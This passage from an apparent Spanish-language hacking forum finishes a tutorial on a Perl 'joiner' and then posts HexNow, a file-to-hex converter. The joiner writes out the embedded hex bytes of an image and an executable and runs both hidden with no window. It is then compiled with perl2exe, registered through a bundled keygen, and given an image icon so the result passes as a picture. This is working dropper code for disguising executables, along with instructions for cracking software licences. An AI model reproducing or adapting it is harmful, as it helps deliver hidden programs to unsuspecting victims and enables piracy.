2000020000000000980100000001000003000000020000000000b7010000e400000005000000020000000000c70100000000000002000000020000000000d6010000280900000100000002005f667265650000003008000001002000020000000000e5010000e000000005000000020000000000f4010000e0070000010020000200000000000002000080080000010000000200000000001f02000060000000040000000200000000003a020000000000000100000002000000000049020000a0020000050000000200000000005d020000b00000000500000002000000000070020000e8000000050000000200000000007d02000000100000ffff00000200000000009602000000002000ffff0000020000000000b002000004000000ffff0000020000000000cc0200000000000001000000020000000000de020000c008000001000000020000000000ea0200000000000001000000020000000000fc020000200700000100000002000000000006030000000000000100000002000000000016030000c8000000050000000200000000002a030000dc0000000500000002005f5f66696c62756620080000010020000200000000003603000000000000040000000200000000004403000000010000030000000200000000006703000000100000ffff00000200000000007f030000c0070000010020000200000000008d03000000000000010000000200000000009f0300000000000001000000020000000000af030000040100000500000002005f5f646c6c5f5f0000000000ffff0000020000000000bd03000000000000ffff0000020000000000d2030000ec00000005000000020000000000e00300001400000005000000020000000000f303000000004000ffff00000200000000000204000000100000ffff000002000000000018040000000100000300000002000000000036040000cc0000000500000002005f5f6172676300000400000004000000020000000000480400009008000001000000020000000000570400004000000002000000020000000000640400000008000001002000020000000000730400007000000004000000020000000000840400001c0900000100000002000000000092040000a00700000100000002005f66666c757368006008000001002000020000000000a2040000b000000004000000020000000000ae0400001000000004000000020000000000ba040000000000000100000002005f667072696e7466700800000100200002005f5f616c6c6f63612007000001000000020000000000ca040000000000000100000002005f5f6172677600000000000004000000020000000000dc0400001c09000001000000020000000000eb040000b40000000500000002005f5f666d6f64650010000000020000000200000000000205000000020000ffff000002000000000015050000fc000000050000000200000000002305000004000000ffff000002005f5f656e645f5f00000000000100000002005f7369676e616c00d00700000100200002005f6d616c6c6f6300400800000100200002000000000038050000280900000100000002000000000046050000f4000000050000000200000000005505000000001000ffff00000200000000006e05000000000000010000000200000000008005000003000000ffff00000200000000008e050000f00000000500000002005f61626f7274000050080000010020000200000000009c0500008000000004000000020000000000b8050000c400000005000000020000000000cd0500000000000001000000020000000000da050000ac00000005000000020000000000ef050000f800000005000000020000000000fb050000b8000000050000000200000000002006000001000000ffff00000200000000003806000000000000ffff000002000000000049060000000000000200000002000000000054060000f0070000010020000200000000005e06000000010000050000000200000000006c060000a8000000050000000200000000007e060000000000000500000002000000000093060000d400000005000000020000000000a106000000000000ffff0000020000000000bd06000000000000ffff0000020000000000d5060000d800000005000000020000000000e4060000d000000005000000020000000000fa060000b00800000100000002005f7072696e746600100800000100200002000000000007070000a0080000010000000200000000001807000000010000030000000200000000003a0700004c020000050000000200000000005007000000000000010000000200600700005f5f676e755f657863657074696f6e5f68616e646c65724034005f5f5f6d696e67775f43525453746172747570005f6d61696e43525453746172747570005f57696e4d61696e43525453746172747570005f5f5f646f5f736a6c6a5f696e6974002e746578742467657463686172005f5f7065693338365f72756e74696d655f72656c6f6361746f72005f5f66707265736574005f696e697469616c697a6564005f5f5f646f5f676c6f62616c5f64746f7273005f5f5f646f5f676c6f62616c5f63746f72730070736575646f2d72656c6f632d6c6973742e63005f7733325f61746f6d5f737566666978005f5f5f7733325f7368617265647074725f64656661756c745f756e6578706563746564005f5f5f7733325f7368617265647074725f676574006477325f6f626a6563745f6d757465782e30006477325f6f6e63652e3100736a6c5f66635f6b65792e3200736a6c5f6f6e63652e33005f5f5f7733325f7368617265647074725f696e697469616c697a65005f5f5f657072696e7466005f5f5f736a6c6a5f696e69745f63746f72005f5f5f52554e54494d455f50534555444f5f52454c4f435f4c4953545f5f005f5f696d705f5f5f7365746d6f6465005f5f646174615f73746172745f5f005f5f5f44544f525f4c4953545f5f005f5f696d705f5f5f6f6e65786974005f5f5f705f5f666d6f6465005f536574556e68616e646c6564457863657074696f6e46696c7465724034005f5f5f7733325f7368617265647074725f7465726d696e617465005f5f5f746c735f73746172745f5f005f5f6c69626d73766372745f615f696e616d65005f5f696d705f5f46696e6441746f6d414034005f5f696d705f5f61626f7274005f5f73697a655f6f665f737461636b5f636f6d6d69745f5f005f5f73697a655f6f665f737461636b5f726573657276655f5f005f5f6d616a6f725f73756273797374656d5f76657273696f6e5f5f005f5f5f6372745f786c5f73746172745f5f005f41646441746f6d414034005f5f5f6372745f78695f73746172745f5f005f5f5f63686b73746b005f5f5f6372745f78695f656e645f5f005f5f696d705f5f5f5f705f5f656e7669726f6e005f5f696d705f5f5f696f62005f5f6273735f73746172745f5f005f5f5f52554e54494d455f50534555444f5f52454c4f435f4c4953545f454e445f5f005f5f73697a655f6f665f686561705f636f6d6d69745f5f005f5f5f705f5f656e7669726f6e005f5f5f6372745f78705f73746172745f5f005f5f5f6372745f78705f656e645f5f005f5f696d705f5f7369676e616c005f5f6d696e6f725f6f735f76657273696f6e5f5f005f5f696d705f5f617465786974005f5f686561645f6c69626d73766372745f61005f5f696d6167655f626173655f5f005f5f73656374696f6e5f616c69676e6d656e745f5f005f5f52554e54494d455f50534555444f5f52454c4f435f4c4953545f5f005f5f696d705f5f5f5f705f5f666d6f6465005f4578697450726f636573734034005f5f646174615f656e645f5f005f5f5f6765746d61696e61726773005f5f5f7733325f736861726564707472005f5f43544f525f4c4953545f5f005f5f5f7365745f6170705f74797065005f5f6273735f656e645f5f005f5f4352545f666d6f6465005f5f5f6372745f78635f656e645f5f005f5f5f6372745f78635f73746172745f5f005f5f5f43544f525f4c4953545f5f005f5f696d705f5f47657441746f6d4e616d6541403132005f5f66696c655f616c69676e6d656e745f5f005f5f696d705f5f6d616c6c6f63005f5f6d616a6f725f6f735f76657273696f6e5f5f005f5f44544f525f4c4953545f5f005f5f696d705f5f667072696e7466005f5f73697a655f6f665f686561705f726573657276655f5f005f5f5f6372745f78745f73746172745f5f005f5f73756273797374656d5f5f005f5f696d705f5f66666c757368005f5f5f7733325f7368617265647074725f756e6578706563746564005f5f696d705f5f5f5f6765746d61696e61726773005f5f5f746c735f656e645f5f005f5f696d705f5f4578697450726f636573734034005f5f696d705f5f66726565005f5f696d705f5f536574556e68616e646c6564457863657074696f6e46696c7465724034005f5f6d616a6f725f696d6167655f76657273696f6e5f5f005f5f6c6f616465725f666c6167735f5f005f5f4352545f676c6f62005f5f7365746d6f6465005f5f696d705f5f7072696e7466005f5f696d705f5f41646441746f6d414034005f5f686561645f6c69626b65726e656c33325f61005f5f696d705f5f5f6365786974005f5f6d696e6f725f73756273797374656d5f76657273696f6e5f5f005f5f6d696e6f725f696d6167655f76657273696f6e5f5f005f5f696d705f5f5f66696c627566005f5f696d705f5f5f5f7365745f6170705f74797065005f46696e6441746f6d414034005f47657441746f6d4e616d6541403132005f5f52554e54494d455f50534555444f5f52454c4f435f4c4953545f454e445f5f005f5f6c69626b65726e656c33325f615f696e616d65005f5f5f6372745f78745f656e645f5f00";


Como ven , usamos primero los bytes de la imagen y despues los del archivo exe que es un simple hola mundo en c.

Ahora nos toca crear los archivos :

Código (perl) [Seleccionar]

open( NOMBRE_UNO, ">>" . $nombre_uno )
 ;    ## Creamos el archivo con el nombre marcado en el codigo anterior
binmode(NOMBRE_UNO);    # Lo abrimos de forma binaria
my $test_uno = pack "H*",
 $valor_uno;           # Decodificamos el hexadecimal (gracias a explorer)

print NOMBRE_UNO $test_uno
 ;    # Escribimos el resultado de la decodificacion en el archivo creado
close(NOMBRE_UNO);    # Cerramos el archivo

open( NOMBRE_DOS, ">>" . $nombre_dos );    # Lo mismo pero con el otro archivo
binmode(NOMBRE_DOS);                       # Lo mismo pero con el otro archivo
my $test_dos = pack "H*", $valor_dos;      # Lo mismo pero con el otro archivo

print NOMBRE_DOS $test_dos;                # Lo mismo pero con el otro archivo
close NOMBRE_DOS;      


Ya casi terminamos , lo que nos falta ahora es cargar los archivos al mismo tiempo de la siguiente forma :

Código (perl) [Seleccionar]

my $comando1 = threads->new( \&uno );      # thread para cargar el archivo
my $comando2 = threads->new( \&dos );      # thread para cargar el otro archivo

$comando1->join();                         # empezamos
$comando2->join();                         # lo mismo

sub uno {    # funcion para cargar el primer archivo
   cargar_hide($nombre_uno);
}

sub dos {    #funcion para cargar el segundo archivo
   cargar_hide($nombre_dos);
}

sub cargar_hide {    # nombre de la funcion marcada anteriormente

   my $job = Win32::Job->new;

   $job->spawn( "cmd", qq{cmd /C $_[0]}, { no_window => "true" } )
     ;              # cargamos el archivo de forma oculta
   $ok = $job->run("30");

}


Con eso terminanos el archivo joiner.pl

0x03 : Compilacion

Esto es lo mas importante , porque es para pasar el script joiner.pl a exe , entonces retomamos el archivo descomprimido y vemos que tenemos un directorio llamado "PERL2EXE" dentro de el tenemos un archivo llamado keygen lo cargamos y llenamos los datos que nos pide con cualquier cosa , cuando nos devuelva el supuesto serial cargamos perl2exe de la siguiente forma "perl2exe -register" , pegamos el serial y le damos enter , despues de eso si todo salio bien tendremos perl2exe a nuestro placer.

Entonces para compilar el script hacemos lo siguiente :

Código (perl) [Seleccionar]

perl2exe -icon=imagen.ico -gui joiner.pl


El archivo imagen.ico lo encontraran en el archivo descomprimido y sirve para darle algo de realismo a la supuesta imagen que nos muestra a coraje el perro cobarde , honestamente ni un ciego caeria en tal absurdo intento de joiner pero solo lo hice para dejar la idea como hacerlo en perl xDD.

Algo importante a mencionar es que el joiner.pl no funciona como queremos pero cuando lo pasamos a exe anda bien me refiero a que el tema de la consola molesta se borra en joiner.pl y no se muestra ningun archivo pero cuando lo pasamos a exe con perl2exe anda todo de maravilla.

0x04 : Herramientas y Codigos finales

El archivo joiner.pl
El archivo hexnow.pl

Eso seria todo , cualquier sugerencia para mejorar la idea diganla.
#240
Scripting / [Perl] HexNow 0.1
9 Marzo 2013, 17:43 PM
Un simple script para convertir el codigo de un archivo en hexadecimal , muy util para un proyecto que tengo en mente.
El script es una traduccion a perl del famoso programa getbytes.py hecho por hecky neobits.

El codigo :

Código (perl) [Seleccionar]

#!usr/bin/perl
#HexNow 0.1
#Coded By Doddy H
#Script based in getbytes.py made by hecky neobits
#Thanks to hecky neobits & explorer(perlenespanol)

use Getopt::Long;
use File::Basename;
use Cwd;

chdir( getcwd() );

GetOptions(
    "hex=s"      => \$hex,
    "each=s"     => \$hexeach,
    "output=i"   => \$output,
    "savefile=s" => \$savefile
);

head();

if ($hex) {

    my $code_final;

    if ($hexeach) {

        my $st = unpack "H*", getcontent($hex);
        my $reco;

        for ( my $num = 0 ; $num <= length($st) - 1 ; $num += $hexeach ) {
            my $final = substr $st, $num, $hexeach;
            $reco .= $final . "\n";
        }

        $code_final = $reco;

    }
    else {
        $code_final = unpack "H*", getcontent($hex);
    }

    if ( $output eq "1" ) {

        print "\n\n[+] Encoding ....\n";

        print "\n[Start]\n\n";
        print $code_final;
        print "\n\n[End]\n";

    }

    if ($savefile) {
        savefile( $savefile, $code_final );
        print "\n[+] Result generated in : $savefile\n";
    }
    else {
        my $div = basename($hex);
        if ( $div =~ /(.*)\.(.*)/ ) {
            my $listo = $1 . "_hex.txt";
            savefile( $listo, $code_final );
            print "\n[+] Result generated in : $listo\n";
        }
    }

    copyright();

}

sub head {
    print qq(

             _____
      ,----/,--.   `.
     /    '. `-'     \         Program Name : HexNow
     | ____ \      '`|_        Version : 0.1
     \'.--._/` _     \ '.       Author : Doddy H
          /'-|/ \|`\|-`  \       Script based in getbytes.py made by hecky neobits 
         /   /       \   |     Thanks to hecky neobits
         |  ;    '`  |  .'
         '. |;;      ;  /
          \ \ ;     / ,'        Examples :
           ;--,   .,--,
        __||=|=|./|=|=||___   perl hexnow.pl -hex imagen.jpg
          `'-'-'  `-'-'`      perl hexnow.pl -hex imagen.jpg -each 5
      ______________________  perl hexnow.pl -hex imagen.jpg -output 1
          /'/ /  \  \ \          perl hexnow.pl -hex imagen.jpg -savefile test.txt
         / '.';  ; \ ' \
        '-/   | ; | ; \-'
          \_| |   | |_/        The End ?
            `-'\_/`-'

);
}

sub copyright {
    print "\n(C) Doddy Hackman 2013\n";
    exit(1);
}

sub getcontent {

    open( FILE, $_[0] );
    binmode(FILE);
    my @lines = <FILE>;
    close FILE;

    $code = join "", @lines;
    return $code;

}

sub savefile {

    if ( -f $_[0] ) {
        unlink( $_[0] );
    }

    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1];
    close SAVE;
}

#The End ?